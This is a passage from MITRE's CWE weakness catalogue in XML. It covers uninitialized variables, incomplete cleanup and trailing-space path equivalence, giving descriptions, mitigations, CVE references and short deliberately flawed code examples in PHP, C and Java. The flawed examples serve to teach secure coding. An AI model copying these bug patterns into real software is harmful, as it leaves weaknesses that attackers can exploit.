					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms,
						Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="457" Name="Use of Uninitialized Variable" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The code uses a variable that has not been initialized, leading
					to unpredictable or unintended results.</Description_Summary>
				        <Extended_Description>
					          <Text>In some languages, such as C, an uninitialized variable contains contents
						of previously-used memory. An attacker can sometimes control or read these
						contents.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>456</Relationship_Target_ID>
					          <!--Missing Initialization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Prevalence="Sometimes" Language_Name="C"/>
					          <Language Prevalence="Sometimes" Language_Name="C++"/>
					          <Language Prevalence="Often" Language_Name="Perl"/>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Before variables are initialized, they generally contain junk data of what
						was left in the memory that the variable takes up. This data is very rarely
						useful, and it is generally advised to pre-initialize variables or set them
						to their first values early. If one forgets -- in the C language -- to
						initialize, for example a char *, many of the simple string libraries may
						often return incorrect results as they expect the null termination to be at
						the end of a string.</Text>
					          <Text>Stack variables in C and C++ are not initialized by default. Their initial
						values are determined by whatever happens to be in their location on the
						stack at the time the function is invoked. Programs should never use the
						value of an uninitialized variable. It is not uncommon for programmers to
						use an uninitialized variable in code that handles errors or other rare and
						exceptional circumstances. Uninitialized variable warnings can sometimes
						indicate the presence of a typographic error in the code.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Initial variables usually contain junk, which can not be trusted for
							consistency. This can lead to denial of service conditions, or modify
							control flow in unexpected ways. In some cases, an attacker can
							"pre-initialize" the variable using previous actions, which might enable
							code execution. This can cause a race condition if a lock variable check
							passes when it should not.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Authorization</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Strings that are not initialized are especially dangerous, since many
							functions expect a null at the end -- and only at the end -- of a
							string.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Assign all variables to an initial value.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Build and Compilation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Most compilers will complain about the use of uninitialized variables
							if warnings are turned on.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>The choice could be made to use a language that is not susceptible to
							these issues.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Mitigating technologies such as safe string libraries and container
							abstractions could be introduced.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text> This code prints a greeting using information stored in a POST
						request:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>if (isset($_POST['names'])) {</Code>
							              <Block>
								                <Code>$nameArray = $_POST['names'];</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>echo "Hello " . $nameArray['first'];</Code>
						            </Block>
						            <Text>This code checks if the POST array 'names' is set before assigning it
							to the $nameArray variable. However, if the array is not in the POST
							request, $nameArray will remain uninitialized. This will cause an error
							when the array is accessed to print the greeting message, which could
							lead to further exploit. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following switch statement is intended to set the values of the
						variables aN and bN before they are used:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int aN, Bn;</Code>
							              <Code>switch (ctl) {</Code>
							              <Block>
								                <Code>case -1:</Code>
								                <Block>
									                  <Code>aN = 0;</Code>
									                  <Code>bN = 0;</Code>
									                  <Code>break;</Code>
								                </Block>
								                <Code>case 0:</Code>
								                <Block>
									                  <Code>aN = i;</Code>
									                  <Code>bN = -i;</Code>
									                  <Code>break;</Code>
								                </Block>
								                <Code>case 1:</Code>
								                <Block>
									                  <Code>aN = i + NEXT_SZ;</Code>
									                  <Code>bN = i - NEXT_SZ;</Code>
									                  <Code>break;</Code>
								                </Block>
								                <Code>default:</Code>
								                <Block>
									                  <Code>aN = -1;</Code>
									                  <Code>aN = -1;</Code>
									                  <Code>break;</Code>
								                </Block>
							              </Block>
							              <Code>}</Code>
							              <Code>repaint(aN, bN);</Code>
						            </Block>
						            <Text> In the default case of the switch statement, the programmer has
							accidentally set the value of aN twice. As a result, bN will have an
							undefined value. Most uninitialized variable issues result in general
							software reliability problems, but if attackers can intentionally
							trigger the use of an uninitialized variable, they might be able to
							launch a denial of service attack by crashing the program. Under the
							right circumstances, an attacker may be able to control the value of an
							uninitialized variable by affecting the values on the stack prior to the
							invocation of the function.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0081</Observed_Example_Reference>
					          <Observed_Example_Description>Uninitialized variable leads to code execution in
						popular desktop application.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4682</Observed_Example_Reference>
					          <Observed_Example_Description>Crafted input triggers dereference of an
						uninitialized object pointer.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-3468</Observed_Example_Reference>
					          <Observed_Example_Description>Crafted audio file triggers crash when an
						uninitialized variable is used.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-2728</Observed_Example_Reference>
					          <Observed_Example_Description>Uninitialized random seed variable
						used.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>mercy</Reference_Author>
					          <Reference_Title>Exploiting Uninitialized Data</Reference_Title>
					          <Reference_PubDate>Jan 2006</Reference_PubDate>
					          <Reference_Link>
						http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Microsoft Security Vulnerability Research &amp;
						Defense</Reference_Author>
					          <Reference_Title>MS08-014 : The Case of the Uninitialized Stack Variable
						Vulnerability</Reference_Title>
					          <Reference_Date>2008-03-11</Reference_Date>
					          <Reference_Link>http://blogs.technet.com/swi/archive/2008/03/11/the-case-of-the-uninitialized-stack-variable-vulnerability.aspx</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 8: C++ Catastrophes." Page 143</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 7, "Variable Initialization", Page
						312.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Uninitialized variable</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Uninitialized Variable</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where the code path has:</Text>
					          <Block>
						            <Text>1. start statement that defines variable</Text>
						            <Text>2. end statement that accesses the variable</Text>
						            <Text>3. the code path does not contain a statement that assigns value to
							the variable</Text>
					          </Block>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Description, Relationships, Observed_Example, Other_Notes, References,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Uninitialized
						Variable</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="458" Name="DEPRECATED: Incorrect Initialization" Weakness_Abstraction="Base" Status="Deprecated">
			      <Description>
				        <Description_Summary>This weakness has been deprecated because its name and
					description did not match. The description duplicated CWE-454, while the name
					suggested a more abstract initialization problem. Please refer to CWE-665 for
					the more abstract problem.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Incorrect
						Initialization</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="459" Name="Incomplete Cleanup" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not properly "clean up" and remove temporary
					or supporting resources after they have been used.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>404</Relationship_Target_ID>
					          <!--Improper Resource Shutdown or Release-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>452</Relationship_Target_ID>
					          <!--Initialization and Cleanup Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>731</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A10 - Insecure Configuration Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>857</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 12 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>892</Relationship_Target_ID>
					          <!--SFP Cluster: Resource Management-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>CWE-459 is a child of CWE-404 because, while CWE-404 covers any type of
						improper shutdown or release of a resource, CWE-459 deals specifically with
						a multi-step shutdown process in which a crucial step for "proper" cleanup
						is omitted or impossible. That is, CWE-459 deals specifically with a cleanup
						or shutdown process that does not successfully remove all potentially
						sensitive data.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Temporary files should be deleted as soon as possible. If a file contains
						sensitive information, the longer it exists the better the chance an
						attacker has to gain access to its contents. Also it is possible to overflow
						the number of temporary files because directories typically have limits on
						the number of files allowed, which could create a denial of service
						problem.</Text>
					          <Text>Overlaps other categories. Concept needs further development.</Text>
					          <Text>This could be primary (e.g. leading to infoleak) or resultant (e.g.
						resulting from unhandled error condition or early termination).</Text>
					          <Text>Overlaps other categories such as permissions and containment.</Text>
				        </Note>
			      </Other_Notes>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Insufficient Cleanup</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Temporary files and other supporting resources should be
							deleted/released immediately after they are no longer needed.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Stream resources in a Java application should be released in a
						finally block, otherwise an exception thrown before the call to close()
						would result in an unreleased I/O resource. In the example below, the
						close() method is called in the try block (incorrect).</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>try {</Code>
							              <Block>
								                <Code>InputStream is = new FileInputStream(path);</Code>
								                <Code>byte b[] = new byte[is.available()];</Code>
								                <Code>is.read(b);</Code>
								                <Code>is.close();</Code>
							              </Block>
							              <Code>} catch (Throwable t) {</Code>
							              <Block>
								                <Code>log.error("Something bad happened: " + t.getMessage());</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0552</Observed_Example_Reference>
					          <Observed_Example_Description>World-readable temporary file not deleted after
						use.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2293</Observed_Example_Reference>
					          <Observed_Example_Description>Temporary file not deleted after use, leaking
						database usernames and passwords.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0788</Observed_Example_Reference>
					          <Observed_Example_Description>Interaction error creates a temporary file that
						can not be deleted due to strong permissions.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2066</Observed_Example_Reference>
					          <Observed_Example_Description>Alternate data streams for NTFS files are not
						cleared when files are wiped (alternate channel /
						infoleak).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2067</Observed_Example_Reference>
					          <Observed_Example_Description>Alternate data streams for NTFS files are not
						cleared when files are wiped (alternate channel /
						infoleak).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2068</Observed_Example_Reference>
					          <Observed_Example_Description>Alternate data streams for NTFS files are not
						cleared when files are wiped (alternate channel /
						infoleak).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2069</Observed_Example_Reference>
					          <Observed_Example_Description>Alternate data streams for NTFS files are not
						cleared when files are wiped (alternate channel /
						infoleak).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2070</Observed_Example_Reference>
					          <Observed_Example_Description>Alternate data streams for NTFS files are not
						cleared when files are wiped (alternate channel /
						infoleak).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1744</Observed_Example_Reference>
					          <Observed_Example_Description>Users not logged out when application is restarted
						after security-relevant changes were made.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>File processing</Functional_Area>
			      </Functional_Areas>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Incomplete Cleanup</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Insecure Configuration Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A10</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Release resources when they are no longer
						needed</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO04-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not operate on files in shared
						directories</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO00-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Relationship_Notes,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="46" Name="Path Equivalence: 'filename ' (Trailing Space)" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>A software system that accepts path input in the form of
					trailing space ('filedir ') without appropriate validation can lead to ambiguous
					path resolution and allow an attacker to traverse the file system to unintended
					locations or access arbitrary files.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>41</Relationship_Target_ID>
					          <!--Improper Resolution of Path Equivalence-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>162</Relationship_Target_ID>
					          <!--Improper Neutralization of Trailing Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>289</Relationship_Target_ID>
					          <!--Authentication Bypass by Alternate Name-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
